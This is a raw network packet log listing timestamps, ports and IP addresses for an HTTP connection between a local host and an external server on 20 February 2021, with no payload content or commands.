Feb 20, 2021 09:48:09.024449110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024466038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024472952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024482965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024502039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024509907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024518013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024521112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024539948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024542093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024558067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024565935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024574995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024584055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024591923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024609089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024609089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024627924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024640083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024647951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024647951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024667978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024677992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024687052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024691105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024704933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024713039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024724007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024732113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024740934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024750948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024756908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024774075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024780989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024792910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024811029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024820089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024826050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024833918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024842978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024858952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024859905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024874926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024883032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024893045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024909973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024926901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024930000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024945021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024950981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024966955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024969101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.024983883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.024996042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025000095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025017023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025032997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025046110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025048971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025068998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025075912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025087118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025101900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025109053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025119066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025130033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025135994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025151968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025160074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025168896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.025191069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.025213003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026134968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026196957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026257992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026277065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026292086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026308060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026319027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026324987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026340961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026356936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026361942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026374102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026385069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026395082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026412010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026412964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026429892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026442051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026447058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026465893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026472092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026480913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026489973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026499987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026511908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026516914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026536942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026549101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026555061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026559114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026572943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026590109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026591063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026607037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026608944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026623964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026632071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026643038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026655912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026671886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026671886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026689053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026700974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026711941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026712894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026731014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.026740074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026761055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.026777983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.034058094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034085035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034096956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034111023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034126997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034143925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034162045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034178972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.034224987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.034271002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.034275055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.045758963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045793056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045814037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045835018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045855045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045881033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045903921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045924902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045947075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045957088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.045969963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045989990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.045991898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.045995951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046015024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046036005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046036005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046068907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046101093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046102047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046124935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046148062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046169996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046190023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046200991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046211004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046220064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046236992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046252966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046266079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046288967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046291113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046310902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046324015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046331882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046355009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046355963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046375036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046382904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046397924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046417952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046420097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046442986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046452999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046467066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046482086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046488047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046509981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046510935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046540022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046565056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046566963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046590090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046614885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046624899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046638012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046658039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046665907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046679974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046700001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046711922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046726942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046752930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046767950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046788931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046809912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046829939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046845913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046857119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046880007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046900988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046901941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046921015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046931028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046943903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046964884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.046974897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.046988010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047009945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047029972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047034979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047054052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047064066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047075987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047096014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047099113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047121048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047122955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047142029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047152996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047164917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047183990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047184944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047210932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047211885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047239065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047241926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047260046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047272921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047280073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047302008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047306061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047333002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047386885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047409058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047430038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047442913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047451973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047473907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047473907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047494888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047503948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047517061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047537088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047543049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047564030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047595024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047609091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047646046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047667027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047668934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047692060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047713041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047715902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047738075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047749043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047759056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047780037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047782898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047801018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047813892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047840118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047849894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.047866106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047888994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047909975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047930002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047950029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047969103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.047971010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048008919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048023939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048037052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048048019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048068047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048069000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048099041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048109055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048127890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048130035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048152924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048167944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048171043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048197031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.048203945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048238039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.048276901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.050424099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050446033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050467014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050487041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050512075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050535917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050524950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.050556898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050559044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.050575972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.050578117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.050609112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.050637007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.075978041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076010942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076025009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076040983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076059103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076076984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076095104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076116085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076134920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076152086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076169014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076199055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076215029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076232910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076251030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076272964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076354027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076401949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076406956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076411009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076415062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076752901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076773882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076788902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076807976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076824903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076842070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076853037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076859951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076877117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.076883078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076946974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.076960087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.077981949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078010082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078028917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078047037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.078068972 CET	80	49165	185.81.0.78	192.168.2.22
